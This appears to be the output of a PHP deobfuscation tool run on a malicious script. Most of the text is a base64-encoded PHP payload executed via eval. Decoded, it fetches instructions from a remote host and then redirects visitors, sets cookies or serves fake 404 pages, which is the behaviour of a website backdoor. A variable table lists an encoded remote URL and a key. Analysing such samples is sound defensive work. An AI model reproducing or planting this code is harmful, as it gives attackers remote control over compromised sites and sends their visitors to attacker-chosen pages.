nJheSgndGltZW91dCcgPT4gOTApKSk7DQokZ290bz1maWxlX2dldF9jb250ZW50cygkX2xpbmssIDAsICRjdHgpOw0KaWYgKGVtcHR5KCRnb3RvKSkgeyAkZ290bz1iYXNlNjRfZGVjb2RlKCRya3FhZWgpOyB9DQp9IGVsc2UgeyAkZ290bz1iYXNlNjRfZGVjb2RlKCRya3FhZWgpOyB9DQovLyBrLlFxM0EzRUNoazVORTU2WmEoNEJoY0BUKTZAR3ItdXIxISpRWGFobQ0KfX0gZWxzZSB7DQokb3V0ID0gIkdFVCAiLiRfbGluay4iIEhUVFAvMS4wXHJcbiI7DQokb3V0IC49ICJIb3N0OiAiLiRkb20uIlxyXG4iOw0KJG91dCAuPSAiQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiI7DQpmd3JpdGUoJGZwLCAkb3V0KTsNCndoaWxlICghZmVvZigkZnApKSB7DQokc3RyPWZnZXRzKCRmcCwxMjgpOw0KaWYgKCRzdHI9PSJcclxuIiAmJiBlbXB0eSgkaGUpKSB7ICRoZSA9ICdkbyc7IH0NCmlmICgkaGU9PSdkbycpIHsgJGdvdG8uPSRzdHI7IH0NCn0NCmZjbG9zZSAoJGZwKTsNCiRnb3RvPXN1YnN0cigkZ290bywgMik7DQp9DQovLyAtLS1DT01NRU5UOC0tLQ0KJGdvdG9lID0gZXhwbG9kZSgiOi8vIiwgdHJpbSgkZ290bykpOw0KaWYoJGdvdG9lWzBdPT0naHR0cCcgfHwgJGdvdG9lWzBdPT0naHR0cHMnKSB7IGhlYWRlcigkX1NFUlZFUlsnU0VSVkVSX1BST1RPQ09MJ10uJyAzMDIgRm91bmQnKTsgaGVhZGVyKCdMb2NhdGlvbjogJy50cmltKCRnb3RvKSk7IH0NCmlmKCRnb3RvZVswXT09J2Nvb2snKSB7ICRnb3RvZWU9ZXhwbG9kZSgiJiIsICRnb3RvZVsxXSk7IGZvcmVhY2goJGdvdG9lZSBhcyAkc2V0Y29vaykgeyAkc2V0PWV4cGxvZGUoIj0iLCAkc2V0Y29vayk7c2V0Y29va2llKCRzZXRbMF0sICRzZXRbMV0pOyB9IH0NCmlmKCRnb3RvZVswXT09J2VjaG8nKSB7IGlmIChwcmVnX21hdGNoKCcvNDA0XC1ub3R8NDA0IE5vdCBGb3VuZC9pc3UnLCRnb3RvZVsxXSkpIHsgaGVhZGVyKCRfU0VSVkVSWydTRVJWRVJfUFJPVE9DT0wnXS4nIDQwNCBOb3QgRm91bmQnKTsgaGVhZGVyKCdTdGF0dXM6IDQwNCBOb3QgRm91bmQnKTsgfSBlY2hvICRnb3RvZVsxXTsgfQ0KLy8gLS0tQ09NTUVOVDktLS0=";eval($uyg($csh));
?>

Function Calls

strrev 1
base64_decode 1

Variables

$csh Ly9Db25mR3VpDQplcnJvcl9yZXBvcnRpbmcoMCk7DQppbmlfc2V0KCdkaXNw..
$uyg base64_decode
$rkqaeh aHR0cDovL3VuaWNlZi5vcmc==
$uznbevc aHR0cDovL3NhbG1wYW5vcy5uZXQvZ29vZ2xlYm90L3NlYXJjaC5wb3N0LnBo..
$gcnecbvb s595
$hgrwhsam rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7
$qvnxyeacdmkuw

Stats

MD5 e924291de0671d2b55f333a809dccf7b
Eval Count 1
Decode Time 103 ms